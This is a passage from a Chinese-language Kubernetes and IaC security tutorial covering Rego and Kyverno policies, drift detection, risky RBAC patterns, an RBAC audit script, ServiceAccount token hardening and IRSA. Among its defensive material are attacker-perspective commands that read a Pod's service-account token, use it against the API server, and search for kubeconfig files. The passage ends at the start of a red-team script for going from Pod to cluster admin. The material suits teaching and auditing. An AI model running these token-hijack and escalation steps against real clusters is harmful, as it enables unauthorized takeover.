is_valid_cpu(cpu) {
is_number(cpu) # "2"
to_number(cpu) <= 2
}
is_valid_cpu(cpu) {
endswith(cpu, "m") # "500m"
millicores := to_number(trim_suffix(cpu, "m"))
millicores <= 2000
}
★ Rego 最反直觉的一点(新手必踩坑)
Rego 里【同名规则之间是 OR,不是 AND】:
deny[msg] { 条件A;msg := "违反A" }
deny[msg] { 条件B;msg := "违反B" }
含义是:违反 A 【或者】 违反 B → 都算 deny
(因为 deny 是个集合,两个规则各自往里加元素)
而【同一个规则体内】的多行是 AND:
deny[msg] {
条件A ← AND
条件B ← AND
msg := "..."
}
★★ 记忆方法:
大括号 { } 内部 = AND
大括号之间 = OR
★ 这跟 SQL 完全一样:一个 WHERE 里是 AND,两个 SELECT 是 UNION
# ============================================================
# 用 Conftest 在本地测 IaC(★ 不需要 K8s 集群)
# ============================================================
# 名词:Conftest = "OPA 版的 checkov",用来测配置文件
conftest test deployment.yaml --policy policy/
# 输出:
# FAIL - deployment.yaml - main - 容器 app 使用了 latest 标签,请指定明确版本
# FAIL - deployment.yaml - main - 容器 app 未设置 CPU limit
# 2 tests, 0 passed, 0 warnings, 2 failures
# ★ 支持 JSON/YAML/HCL/Dockerfile/INI
# Terraform 需要先转成 JSON:
terraform show -json tfplan > tfplan.json
conftest test tfplan.json --policy policy/
# ★ 这样就能在 terraform apply 之前拦住问题(★ 最左的防线)
Kyverno:K8s 原生的策略引擎(★ 比 OPA 好上手)
★ 名词:Kyverno 白话:专为 Kubernetes 设计的策略引擎,用 YAML 写策略(不用学 Rego)。 ★ 现在已经是 CNCF 毕业项目,很多公司从 Gatekeeper 迁到 Kyverno。
# ============================================================
# Kyverno 策略:强制所有 Pod 的安全基线
# ============================================================
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: pod-security-baseline
spec:
validationFailureAction: Enforce # ★ Enforce=拒绝;Audit=只记录
background: true # ★ 对已存在的资源也检查
rules:
# 规则 1:禁止 latest 标签
- name: require-image-tag
match:
any:
- resources:
kinds: ["Pod"]
validate:
message: "★ 镜像必须指定明确的 tag,禁止使用 latest"
pattern:
spec:
containers:
- image: "!*:latest" # ★ ! 表示"不能匹配"
# 规则 2:禁止特权容器
- name: no-privileged
match:
any:
- resources:
kinds: ["Pod"]
validate:
message: "★ 禁止使用特权容器(privileged)"
pattern:
spec:
containers:
- securityContext:
privileged: "false" # ★ 必须显式写 false
# 规则 3:★ 必须设置资源限制
- name: require-resources
match:
any:
- resources:
kinds: ["Pod"]
validate:
message: "★ 必须设置 CPU 和内存 的 requests/limits"
pattern:
spec:
containers:
- resources:
requests:
cpu: "?*" # ★ ?* 表示"必须存在且非空"
memory: "?*"
limits:
cpu: "?*"
memory: "?*"
# 规则 4:★ 自动生成:给所有资源打上默认标签(变异策略 mutate)
- name: add-default-labels
match:
any:
- resources:
kinds: ["Pod", "Service", "ConfigMap"]
mutate:
patchStrategicMerge:
metadata:
labels:
+(managed-by): "platform-team" # ★ +() 表示"不存在时才加"
+(env): "{{ request.object.metadata.namespace }}"
# 规则 5:★ 自动注入:所有 Pod 默认禁止挂载 ServiceAccount token
- name: disable-automount-sa-token
match:
any:
- resources:
kinds: ["Pod"]
mutate:
patchStrategicMerge:
spec:
automountServiceAccountToken: false # ★ 见 10.4.3
# 安装 Kyverno
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno -n kyverno --create-namespace
# 查看策略执行结果
kubectl get policyreport -A
kubectl describe policyreport -n default
# ★ 用 CLI 在提交前测试(不需要集群)
kubectl kyverno apply policy.yaml --resource deployment.yaml
# ★ 强烈推荐:先用 Audit 模式跑两周,看会不会误伤,再切 Enforce
# validationFailureAction: Audit
# → kubectl get policyreport 看有多少命中,逐一确认后再切 Enforce
10.3.6 漂移检测(Drift Detection)
★ 名词:漂移(Drift) 白话:实际运行的资源,和你 IaC 文件里描述的不一样了。 ★ 通常是因为有人“图快”直接在控制台上改了,没走 IaC。
★ 生活类比:
你家有一张装修图纸。
装修队按图纸装好了。
后来你觉得插座位置不对,自己挪了一个(没改图纸)。
再后来你想重装,按图纸施工 → ★ 插座又回到原来位置了
★ 漂移的可怕之处:你【以为】生产环境长成 A 那样,
但它实际是 B。你所有的安全判断都基于 A,全是错的。
★ 漂移的三种来源
① 【人为手工修改】(最常见)
"线上有个问题,我先去控制台上把安全组改一下,回头补 IaC"
→ ★ 回头 = 永远
② 【其他系统自动改】
- 云平台自动扩缩容改了实例数量
- 另一个 IaC 工具管了同一批资源
- 安全工具自动打了补丁/加了策略
③ 【云平台默认行为】
- 新建资源时云平台会自动加一些默认值
- AWS 经常给资源加上默认的安全组、默认标签
# ============================================================
# 漂移检测的四种方式
# ============================================================
# ① terraform plan(★ 最简单,但要定时跑)
terraform plan -detailed-exitcode
# 退出码含义(★ 写脚本必知):
# 0 = 无变化(配置一致)
# 1 = 出错
# 2 = ★ 有差异(存在漂移!)
# ★★ 这个退出码设计很反直觉:0 才是"没问题"
# 定时跑漂移检测(每天一次,发现问题发告警)
#!/bin/bash
cd /path/to/terraform
terraform init -input=false
terraform plan -detailed-exitcode -out=/tmp/plan.tfplan > /tmp/plan.log 2>&1
EXIT=$?
if [ $EXIT -eq 2 ]; then
echo "★ 检测到基础设施漂移!" | mail -s "[告警] IaC Drift Detected" ops@example.com
# ★ 同时把 diff 发出来
terraform show -no-color /tmp/plan.tfplan | mail -s "Drift 详情" ops@example.com
elif [ $EXIT -eq 1 ]; then
echo "terraform plan 执行失败" | mail -s "[告警] IaC Plan Error" ops@example.com
fi
# ② 用 -refresh-only 只看漂移(不生成变更计划)
terraform plan -refresh-only
# ③ ★ 云平台原生的配置合规服务(推荐)
# AWS Config → 持续记录资源配置变化,可配规则告警
# 阿里云 配置审计 → 同上
# 腾讯云 配置审计 → 同上
# GCP Asset Inventory → 同上
# AWS Config 规则示例:检测安全组被改成 0.0.0.0/0
aws configservice put-config-rule --config-rule '{
"ConfigRuleName": "restricted-ssh",
"Source": {
"Owner": "AWS",
"SourceIdentifier": "INCOMING_SSH_DISABLED"
},
"Scope": {
"ComplianceResourceTypes": ["AWS::EC2::SecurityGroup"]
}
}'
# ④ ★ 第三方:Driftctl / Terraform Cloud 的 drift detection
driftctl scan --from tfstate+s3://mycompany-tfstate/prod/terraform.tfstate
# 输出会告诉你:
# - 哪些资源在 IaC 里有,但云上【不存在】(被手工删了)
# - 哪些资源云上有,但 IaC 里【没有】(手工建的,★ 往往是安全风险)
# - 哪些资源配置对不上
★★★ 最重要的建议:★ 禁止手工改生产环境
技术手段:
① 除了 break-glass 角色,所有人都没有控制台写权限
(★ 只读权限可以全给,写权限只给 IaC 的 CI 角色)
② 开启 CloudTrail + 告警:任何非 CI 角色的写操作 → 立刻告警
③ 定期跑 drift 检测,发现漂移就告警
但更重要的是【组织原因】:
★ 如果走 IaC 的流程要 2 小时,手工改要 2 分钟,
那漂移一定会发生,再多的告警也没用
★ 所以:让 IaC 流程【比手工更快】(自动化审批、自助服务)
10.4 Kubernetes 安全深度
★ 一句话:K8s 的安全问题,90% 不是“漏洞”,而是默认配置太宽松。 一个默认安装的 K8s 集群,从任何一个 Pod 拿到整个集群,通常只要 5 步。
10.4.1 K8s 架构与信任边界(先看清楚要守哪里)
┌────────────────────────────────────────────────────────────────────┐
│ Kubernetes 集群 │
├────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────── 控制面(Control Plane / Master)──────────────┐ │
│ │ │ │
│ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │
│ │ │ kube-apiserver│ │ etcd │ │ kube-scheduler│ │ │
│ │ │ ★ 集群前门 │ │ ★ 集群的"大脑"│ │ 调度器 │ │ │
│ │ │ 所有操作都过它│ │ 所有数据在这 │ │ │ │ │
│ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │
│ │ ┌──────────────────────────────────┐ │ │
│ │ │ kube-controller-manager │ │ │
│ │ └──────────────────────────────────┘ │ │
│ └────────────────────────────────────────────────────────────────┘ │
│ ↕ │
│ ┌──────────────── 工作节点(Worker Node)──────────────────────┐ │
│ │ │ │
│ │ ┌──────────┐ ┌────────┐ ┌────────┐ ┌────────┐ │ │
│ │ │ kubelet │──▶│ Pod A │ │ Pod B │ │ Pod C │ │ │
│ │ │ ★ 节点代理│ │ │ │ │ │ │ │ │
│ │ └──────────┘ └────────┘ └────────┘ └────────┘ │ │
│ │ │ │ │
│ │ ┌──────────┐ │ │
│ │ │ kube-proxy│ (网络规则) │ │
│ │ └──────────┘ │ │
│ └────────────────────────────────────────────────────────────────┘ │
│ │
└────────────────────────────────────────────────────────────────────┘
★★★ 攻破每块意味着什么(★ 这张表是本节的核心)
┌───────────────────┬──────────────────────────────────────────────┐
│ 组件 │ ★ 攻破它 = 得到了什么 │
├───────────────────┼──────────────────────────────────────────────┤
│ etcd │ ★★★ 整个集群的全部数据(含所有 Secret) │
│ │ = 集群完整沦陷,无需任何其他操作 │
│ │ → Protect: 只有 apiserver 能访问 + TLS │
├───────────────────┼──────────────────────────────────────────────┤
│ kube-apiserver │ ★★★ 可以对集群做任何事(等同集群管理员) │
│ (拿到管理员凭据) │ │
├───────────────────┼──────────────────────────────────────────────┤
│ 有 cluster-admin │ ★★★ 同上,而且能: │
│ 的 ServiceAccount │ - 读所有 Secret │
│ │ - 在任意节点跑特权 Pod(→ 接管所有节点) │
├───────────────────┼──────────────────────────────────────────────┤
│ kubelet(某个节点)│ ★★ 该节点上的所有 Pod + 所有 Secret │
│ (10250 端口) │ + 可以 exec 进任意容器 │
│ │ ★ 如果 kubelet 匿名访问开启 = 无需认证! │
├───────────────────┼──────────────────────────────────────────────┤
│ 某个 Pod(普通) │ ★ 该 Pod 的 ServiceAccount 权限 │
│ │ + 能访问所有 Service/Pod 的网络 │
│ │ + 能访问 IMDS 拿节点角色凭据(★ 关键跳板) │
├───────────────────┼──────────────────────────────────────────────┤
│ 容器逃逸到节点 │ ★★★ 该节点的所有 Pod + 节点上的 kubeconfig │
│ │ + 节点角色的云凭据(→ 可能横移到云账号) │
└───────────────────┴──────────────────────────────────────────────┘
★★★ 最重要的认知:
K8s 集群里【默认网络是全通的】—— 任何 Pod 都能访问任何 Pod。
★ 这跟传统网络的"默认拒绝"完全相反!
→ 所以攻击者只要进了一个最边缘的 Pod,
就能横扫整个集群的所有服务(Redis、MySQL、内部 API…)
→ ★ 这就是 NetworkPolicy 必须做的原因(见 10.4.6)
10.4.2 RBAC 深度:K8s 的权限系统
★ 名词:RBAC(Role-Based Access Control,基于角色的访问控制) 白话:“谁 能对 什么资源 做 什么操作”,K8s 里用四样东西实现:
┌────────────────────────────────────────────────────────────┐
│ K8s RBAC 的四个对象 │
├────────────────────────────────────────────────────────────┤
│ ① Role → 【某个命名空间内】的一组权限 │
│ ② ClusterRole → 【整个集群】的一组权限 │
│ ③ RoleBinding → 把 Role 绑给某个主体(在某命名空间内生效) │
│ ④ ClusterRoleBinding → 把 ClusterRole 绑给某个主体(全集群)│
└────────────────────────────────────────────────────────────┘
★ 记忆口诀:
Role / ClusterRole = 【权限清单】(能做什么)
RoleBinding / Cluster... = 【授权动作】(把这个清单给谁)
★ 生活类比:
Role = 一份"岗位职责说明书"
RoleBinding = HR 发的"任命书"(把这份职责给张三)
★ 主体(Subject)的三种类型:
- User → 人(K8s 里没有"用户"对象,靠证书/OIDC 表示)
- Group → 组
- ServiceAccount → ★ 给【程序】用的身份(最重要,见 10.4.3)
# ============================================================
# 一个最小权限的 Role 示例(★ 这是正确写法的模板)
# ============================================================
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: production # ★ Role 必须指定命名空间
name: pod-reader
rules:
# ★★ 关键原则:逐条列出,不用通配符
- apiGroups: [""] # ← 空字符串 = 核心 API 组(pods, services, configmaps...)
resources: ["pods"] # ★ 只写 pods,不写 ["*"]
verbs: ["get", "list", "watch"] # ★ 只读,不给 create/update/delete
# ★ 不加 resourceNames = 对该命名空间所有 Pod 生效
- apiGroups: [""]
resources: ["pods/log"] # ★ 看日志是【子资源】,要单独写
verbs: ["get"]
# ★ 如果要限制到具体某个 Pod:
- apiGroups: [""]
resources: ["configmaps"]
resourceNames: ["app-config"] # ★ 只能操作这一个 ConfigMap
verbs: ["get", "update"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-pods
namespace: production
subjects:
- kind: ServiceAccount
name: monitoring-sa
namespace: monitoring # ★ 注意:SA 在 monitoring 命名空间
roleRef:
kind: Role
name: pod-reader
apiGroup: rbac.authorization.k8s.io
★★★ RBAC 的危险写法(每一个都是提权路径)
┌──────────────────────────────────────────────────────────────────┐
│ 危险写法 1:★ 通配符 │
├──────────────────────────────────────────────────────────────────┤
│ rules: │
│ - apiGroups: ["*"] │
│ resources: ["*"] │
│ verbs: ["*"] │
│ → ★★★ 这就是 cluster-admin │
└──────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ 危险写法 2:★★★ secrets 的 list/get(★ 最被低估的危险) │
├──────────────────────────────────────────────────────────────────┤
│ - apiGroups: [""] │
│ resources: ["secrets"] │
│ verbs: ["get", "list"] │
│ │
│ ★ 为什么危险: │
│ ① 所有 Secret 里可能有:数据库密码、云 AK/SK、TLS 私钥、API Token │
│ ② ★★ 更致命:ServiceAccount 的 token 也存为 Secret! │
│ → 拿到任意 SA 的 token = 变成那个 SA │
│ → 如果这个 SA 权限更大 → ★ 提权成功 │
│ │
│ ★ 常见场景: │
│ "给监控组件 secrets 的读权限,方便它读 TLS 证书" │
│ → 结果监控组件能读所有 Secret,包括其他 SA 的 token │
└──────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ 危险写法 3:★★★ pods/create 或 pods/exec(等于节点 root) │
├──────────────────────────────────────────────────────────────────┤
│ - apiGroups: [""] │
│ resources: ["pods"] │
│ verbs: ["create"] │
│ │
│ ★ 为什么 = 集群沦陷: │
│ ① 我可以创建一个 Pod,指定 hostPID/hostNetwork/privileged │
│ 并挂载宿主机 / 目录 │
│ ② Pod 启动后我就拿到了节点的 root │
│ ③ 节点上有 kubelet 的 kubeconfig / 节点角色的云凭据 │
│ ★★★ → 一个 "只是能创建 Pod" 的权限 = 整个集群 │
│ │
│ ★ 同理,pods/exec 也是: │
│ kubectl exec -it 任意Pod -- /bin/sh │
│ → 我能进到任意一个 Pod 里,包括那些有高权限 SA 的 Pod │
│ → 从那个 Pod 里读它的 SA token → 提权 │
│ │
│ ✅ 防护:★ 必须用 Pod Security Admission / Kyverno 限制 │
│ "能创建什么样的 Pod"(见 10.4.5) │
│ ★ RBAC 无法解决这个问题!这一点非常重要 │
└──────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ 危险写法 4:★ 能改 RBAC 自己(escalate / bind) │
├──────────────────────────────────────────────────────────────────┤
│ 以下四个 verb 都能提权: │
│ - escalate:可以创建/修改【超出自己权限范围】的 Role │
│ - bind: 可以把【超出自己权限范围】的 Role 绑给自己 │
│ - create/update/patch 在 roles/clusterroles/rolebindings 上 │
│ │
│ ★ 生活类比: │
│ 这就像"修改公司组织架构的权限"给了实习生 │
│ → 他可以把自己改成 CEO │
│ │
│ ★★ K8s 有个内置防护: │
│ RBAC 的"权限提升预防"机制 —— │
│ 你【不能】创建或绑定一个超出你自己权限的 Role │
│ ★ 除非你有 escalate 或 bind 这两个特殊 verb │
│ → ★ 所以:永远不要给任何人 escalate / bind │
└──────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ 危险写法 5:★ impersonate(伪装成别人) │
├──────────────────────────────────────────────────────────────────┤
│ - apiGroups: [""] │
│ resources: ["users", "groups", "serviceaccounts"] │
│ verbs: ["impersonate"] │
│ │
│ ★ 效果:kubectl --as=system:master get secrets -A │
│ → 我假装成 system:master,RBAC 检查会按 master 的权限放行 │
│ ★★ 注意:system:masters 组是【硬编码绕过 RBAC】的超级组 │
│ → 属于这个组的任何人都是集群管理员,RBAC 拦不住 │
└──────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ 危险写法 6:★ 能创建 TokenRequest / 证书签名 │
├──────────────────────────────────────────────────────────────────┤
│ - resources: ["serviceaccounts/token"] verbs: ["create"] │
│ → 我可以为【任意 ServiceAccount】签发 token │
│ → 包括 cluster-admin 权限的 SA → ★ 直接提权 │
│ │
│ - resources: ["certificatesigningrequests"] verbs: ["create","approve"]│
│ → 我可以签发客户端证书,伪装成任意用户 │
└──────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ 危险写法 7:★★ 默认 ServiceAccount 被绑定了高权限 │
├──────────────────────────────────────────────────────────────────┤
│ subjects: │
│ - kind: ServiceAccount │
│ name: default # ← ★★ 千万别用 default │
│ namespace: default │
│ roleRef: │
│ kind: ClusterRole │
│ name: cluster-admin # ← ★★★ │
│ │
│ ★ 后果:该命名空间里【每一个没指定 SA 的 Pod】都是集群管理员 │
│ → 攻击者只要在这个命名空间里跑一个最普通的 Pod 就沦陷了 │
└──────────────────────────────────────────────────────────────────┘
★ RBAC 审计脚本(必跑)
#!/bin/bash
# ============================================================
# rbac_audit.sh — 找出集群里所有危险的 RBAC 配置
# ★ 每次接手新集群第一件事就是跑这个
# ============================================================
RED='\033[0;31m'; YELLOW='\033[1;33m'; NC='\033[0m'
echo "═══════════════════════════════════════════════"
echo " ① ★★★ 谁有 cluster-admin?"
echo "═══════════════════════════════════════════════"
kubectl get clusterrolebindings -o json | jq -r '
.items[]
| select(.roleRef.name == "cluster-admin")
| " [★] \(.metadata.name): " + (
[.subjects[]? | "\(.kind)/\(.namespace // "-")\(.name)"] | join(", ")
)
'
# ★ 期望结果:只有 system:masters 组和极少数管理员
# 如果出现 ServiceAccount 或者一大堆用户 → 有问题
echo ""
echo "═══════════════════════════════════════════════"
echo " ② ★★★ 谁能读所有 Secret?"
echo "═══════════════════════════════════════════════"
kubectl get clusterroles -o json | jq -r '
.items[]
| . as $cr
| ($cr.rules // [])[]
| select(
(.resources // []) | any(. == "secrets")
)
| select(
(.verbs // []) | any(. == "get" or . == "list" or . == "*")
)
| " [★] ClusterRole: \($cr.metadata.name) verbs=\((.verbs // []) | join(","))"
'
echo ""
echo "═══════════════════════════════════════════════"
echo " ③ ★★★ 谁能创建 Pod / exec(= 潜在节点 root)?"
echo "═══════════════════════════════════════════════"
kubectl get clusterroles,roles -A -o json | jq -r '
.items[]
| . as $r
| (($r.rules // [])[]) as $rule
| select(
($rule.resources // []) | any(. == "pods" or . == "pods/exec" or . == "*")
)
| select(
($rule.verbs // []) | any(. == "create" or . == "*")
)
| " [★] \($r.kind)/\($r.metadata.namespace // "-")\($r.metadata.name)"
'
echo ""
echo "═══════════════════════════════════════════════"
echo " ④ ★★ 谁有通配符权限?"
echo "═══════════════════════════════════════════════"
kubectl get clusterroles -o json | jq -r '
.items[]
| select(.metadata.name | startswith("system:") | not)
| . as $cr
| (($cr.rules // [])[]) as $rule
| select(
(($rule.apiGroups // []) | any(. == "*"))
or (($rule.resources // []) | any(. == "*"))
or (($rule.verbs // []) | any(. == "*"))
)
| " [★] \($cr.metadata.name): apiGroups=\(($rule.apiGroups // [])|join(",")) resources=\(($rule.resources // [])|join(",")) verbs=\(($rule.verbs // [])|join(","))"
'
echo ""
echo "═══════════════════════════════════════════════"
echo " ⑤ ★★ 谁有 escalate / bind / impersonate(提权 verb)?"
echo "═══════════════════════════════════════════════"
kubectl get clusterroles,roles -A -o json | jq -r '
.items[]
| . as $r
| (($r.rules // [])[]) as $rule
| select(
($rule.verbs // []) | any(. == "escalate" or . == "bind" or . == "impersonate")
)
| " [★★★] \($r.kind)/\($r.metadata.namespace // "-")\($r.metadata.name) verbs=\(($rule.verbs // [])|join(","))"
'
echo ""
echo "═══════════════════════════════════════════════"
echo " ⑥ ★★ 哪些 SA 绑定了 ClusterRoleBinding?"
echo "═══════════════════════════════════════════════"
kubectl get clusterrolebindings -o json | jq -r '
.items[]
| select((.subjects // []) | any(.kind == "ServiceAccount"))
| . as $crb
| (.subjects[] | select(.kind == "ServiceAccount"))
| " [!] SA \(.namespace)/\(.name) → ClusterRole \($crb.roleRef.name)"
'
echo ""
echo "═══════════════════════════════════════════════"
echo " ⑦ ★ 哪些 Pod 用了 default ServiceAccount?"
echo "═══════════════════════════════════════════════"
kubectl get pods -A -o json | jq -r '
.items[]
| select(
(.spec.serviceAccountName // "default") == "default"
or (.spec.serviceAccountName == null)
)
| " [!] \(.metadata.namespace)/\(.metadata.name)"
' | head -30
# ★ 建议:所有 Pod 都应该用专用的 SA
★ 工具推荐:rbac-tool / kubiScan(自动算提权路径)
# rbac-tool(★ 最推荐,能直接算出"谁能提权到 cluster-admin")
kubectl krew install rbac-tool
# 找出所有高危主体
rbac-tool analysis
# 找出能读 Secret 的
rbac-tool who-can get secrets -A
# ★★ 最强功能:可视化权限图
rbac-tool visualize --outformat dot > rbac.dot
dot -Tpng rbac.dot -o rbac.png # ★ 这张图给老板看,一目了然
# kubiScan(专门找有风险的 SA)
kubiscan -rs # risky subjects
kubiscan -rr # risky roles
10.4.3 ServiceAccount:K8s 里最容易被忽视的身份
★ 名词:ServiceAccount(SA,服务账号) 白话:给“程序”用的身份(不是给人用的)。 Pod 里跑的应用要调用 K8s API,就得有一个 SA。
★ 名词:ServiceAccount Token
白话:SA 的身份证。它是一个 JWT 字符串,
默认被自动挂载到每个 Pod 的 /var/run/secrets/kubernetes.io/serviceaccount/token。
★★★ 这里有个巨大的默认风险:
K8s 【默认给每个 Pod 都自动挂载一个 SA token】
也就是说:
你跑一个最简单的 nginx Pod
→ 它里面就有 /var/run/secrets/kubernetes.io/serviceaccount/token
→ 如果没指定 SA,用的是 default SA
→ ★ 攻击者只要拿下这个 nginx(哪怕只是一个 XSS + 能读文件),
就能拿着这个 token 去调 K8s API
★ 生活类比:
每个员工入职,公司默认发一张"能开所有会议室"的卡,
哪怕他的工作根本不需要进会议室。
→ 为什么?因为"默认发"比"按需发"省事。
# ============================================================
# ★ 看看这个"默认发的卡"到底是什么
# ============================================================
# 进任意一个 Pod
kubectl exec -it my-pod -- sh
# 看 token
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
# ca.crt ← 集群 CA 证书
# namespace ← 当前命名空间名
# token ← ★ JWT token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
# 用它调 API(★ 这就是攻击者在 Pod 里做的事)
curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $TOKEN" \
"https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/api/v1/namespaces/$NS/pods"
# ★ 用 SelfSubjectRulesReview 问"我能干什么"(★ 攻击者必做的第一步)
curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-X POST \
-d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NS\"}}" \
"https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
| jq '.status.resourceRules'
★ 防御一:默认不挂载 token
# 方式 1:Pod 级别
apiVersion: v1
kind: Pod
metadata:
name: no-token-pod
spec:
automountServiceAccountToken: false # ★★★ 关键配置
containers:
- name: app
image: nginx:1.25
# ★ 绝大多数业务 Pod 根本不需要调 K8s API
# → 一律设为 false
# 方式 2:★ SA 级别(推荐,一次配置,所有用这个 SA 的 Pod 生效)
apiVersion: v1
kind: ServiceAccount
metadata:
name: app-sa
namespace: production
automountServiceAccountToken: false # ★ 这里设
# 方式 3:★ 用 Kyverno 全局自动注入(最省心,见 10.3.5 的规则 5)
# 这样开发什么都不用做,所有 Pod 默认就没有 token
# → 真正需要 token 的(如 Operator)显式打开
★ 防御二:用投影 Volume 的短期 token(K8s 1.21+)
★ 老式 SA token 的三个问题:
① 【不过期】—— 只要 Secret 在,token 永远有效
② 【没有 audience 限制】—— 拿去别的系统用也能通过校验
③ 【存在 etcd 里的 Secret】—— 能读 secrets 就能拿所有 token
★ 新式(Bound Service Account Token / 投影 Volume):
① ★ 有过期时间(默认 1 小时,kubelet 自动续期)
② ★ 绑定 audience(只能给指定系统用)
③ ★ 绑定 Pod(Pod 删了 token 自动失效)
④ ★ 不存在 Secret 里(读 secrets 也拿不到)
# ★ 正确写法:用投影 Volume 挂载短期 token
apiVersion: v1
kind: Pod
metadata:
name: app-with-short-token
spec:
serviceAccountName: app-sa
automountServiceAccountToken: false # ★ 关掉默认挂载
containers:
- name: app
image: myapp:1.0
volumeMounts:
- name: kube-api-access
mountPath: /var/run/secrets/kubernetes.io/serviceaccount
readOnly: true
volumes:
- name: kube-api-access
projected: # ★★ projected 是关键
defaultMode: 0400
sources:
- serviceAccountToken:
path: token
expirationSeconds: 3600 # ★ 1 小时过期
audience: my-internal-api # ★ 限制受众
- configMap:
name: kube-root-ca.crt
items:
- key: ca.crt
path: ca.crt
- downwardAPI:
items:
- path: namespace
fieldRef:
fieldPath: metadata.namespace
★ 防御三:★ IRSA / Workload Identity(消灭长期云密钥)
★ 名词:IRSA(IAM Roles for Service Accounts) 白话:让 K8s 里的 Pod 直接用云的 IAM 角色访问云服务,不需要任何 AK/SK。
- AWS 叫 IRSA(或新的 EKS Pod Identity)
- GCP 叫 Workload Identity
- 阿里云叫 RRSA(RAM Roles for Service Accounts)
★ 解决的问题(★ 这是 K8s 上云的头号安全问题):
以前的做法(❌ 危险):
应用要访问 S3 → 需要 AK/SK
→ 把 AK/SK 存成 K8s Secret
→ ★ 问题:
① Secret 只是 base64,etcd 里等同明文
② 长期密钥,不会过期
③ 任何能读 secrets 的人/Pod 都能拿到
④ 镜像、日志里都可能泄露
IRSA 的做法(✅):
① 集群配置一个 OIDC 身份提供商(云平台信任这个集群签发的 token)
② SA 上写注解:"这个 SA 对应云的哪个角色"
③ Pod 启动时,K8s 自动投影一个【签名的 OIDC token】进去
④ 应用拿这个 token 去云平台的 STS 换【临时云凭据】(1 小时过期)
⑤ 应用用临时凭据访问 S3
★★★ 全程没有长期密钥,没有任何东西需要存
★★ 而且凭据会自动轮换
# ============================================================
# IRSA 完整配置(AWS EKS)
# ============================================================
# ① 云侧:创建一个角色,信任策略限制到具体 SA
# (Terraform)
resource "aws_iam_role" "s3_reader" {
name = "eks-s3-reader"
assume_role_policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Effect = "Allow"
Principal = {
Federated = "arn:aws:iam::123456789012:oidc-provider/oidc.eks.cn-north-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE"
}
Action = "sts:AssumeRoleWithWebIdentity" # ★ 注意是这个 Action
Condition = {
StringEquals = {
# ★★ 精确到 【命名空间:ServiceAccount名】—— 这是关键!
"oidc.eks.cn-north-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE:sub" =
"system:serviceaccount:production:app-sa"
"oidc.eks.cn-north-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE:aud" =
"sts.amazonaws.com"
}
}
}]
})
}
# ② K8s 侧:SA 加注解
apiVersion: v1
kind: ServiceAccount
metadata:
name: app-sa
namespace: production
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/eks-s3-reader
# ★ GCP: iam.gke.io/gcp-service-account
# ★ 阿里云: 通过 RRSA 的 OIDC 配置
---
# ③ Pod 用这个 SA
apiVersion: v1
kind: Pod
metadata:
name: app
spec:
serviceAccountName: app-sa # ★ 就这一行
containers:
- name: app
image: myapp:1.0
# ★ 不需要任何 AK/SK 环境变量!AWS SDK 会自动发现
# ★ 验证:进 Pod 看看环境
kubectl exec -it app -- env | grep AWS
# AWS_ROLE_ARN=arn:aws:iam::123456789012:role/eks-s3-reader
# AWS_WEB_IDENTITY_TOKEN_FILE=/var/run/secrets/eks.amazonaws.com/serviceaccount/token
# AWS_STS_REGIONAL_ENDPOINTS=regional
# ★ SDK 看到这两个变量就会自动走 AssumeRoleWithWebIdentity
# ★ 排错:为什么 IRSA 不生效?
# ① SA 注解写错了(role-arn 拼错 / 用了错误的 SA)
# ② 集群没启用 OIDC 提供商(eksctl utils associate-iam-oidc-provider)
# ③ 信任策略的 sub 不匹配(★ 最常见的错:命名空间写错)
# ④ Pod 里有 AWS_ACCESS_KEY_ID 环境变量
# → ★ SDK 优先用环境变量,会【跳过】IRSA!这是个大坑
★ 攻击视角:SA Token 劫持链(完整演示)
#!/bin/bash
# ============================================================
# ★ 从"一个普通 Pod"到"集群管理员"的完整路径
# ★ 用途:红队 / 验证你的集群是否存在这个问题
# ============================================================
# 假设你通过任意方式(Web 漏洞、供应链投毒)在一个 Pod 里有了 shell
echo "[1] 检查有没有 SA token"
TOKEN_PATH="/var/run/secrets/kubernetes.io/serviceaccount/token"
if [ ! -f "$TOKEN_PATH" ]; then
echo " ✓ 这个 Pod 没挂载 token(automountServiceAccountToken: false 生效了)"
echo " → 尝试其他路径:容器逃逸 → 节点上找 kubeconfig"
ls -la /var/lib/kubelet/ 2>/dev/null
find / -name "kubeconfig*" -o -name "*.kubeconfig" 2>/dev/null | head
exit 0
fi
TOKEN=$(cat $TOKEN_PATH)
CA="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
echo " ✗ 有 token!命名空间: $NS"
echo ""
